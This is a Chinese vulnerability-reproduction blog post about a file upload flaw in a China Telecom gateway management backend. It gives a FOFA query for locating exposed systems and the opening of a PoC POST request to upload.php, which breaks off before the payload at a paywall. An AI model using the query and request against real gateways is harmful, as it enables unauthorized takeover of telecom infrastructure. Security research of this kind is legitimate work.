电信网关配置管理系统后台 upload.php 文件上传漏洞复现

0xSecl

已于 2023-12-14 23:39:55 修改

阅读量1.5k

点赞数 10

分类专栏：漏洞复现v1 文章标签： php 安全 web安全

于 2023-12-14 23:38:07 首次发布

本文链接：https://blog.youkuaiyun.com/qq_41904294/article/details/135006683

版权

漏洞复现v1 专栏收录该内容

1000 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了中国电信网关配置管理系统后台存在的一个文件上传漏洞，详细解析了漏洞概述、复现环境及过程，并给出了修复建议。攻击者能够利用此漏洞获取系统权限。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 产品简介

中国电信集团有限公司（英文名称“China Telecom”、简称“中国电信”）成立于2000年9月，是中国特大型国有通信企业、上海世博会全球合作伙伴。

0x02 漏洞概述

电信网关配置管理系统后台 /manager/teletext/material/upload.php 接口存在文件上传漏洞，攻击者可以利用文件上传漏洞获取系统权限。

0x03 复现环境

FOFA：body="img/login_bg3.png" && body="系统登录"

0x04 漏洞复现

PoC

POST /manager/teletext/material/upload.php HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWe

了解本专栏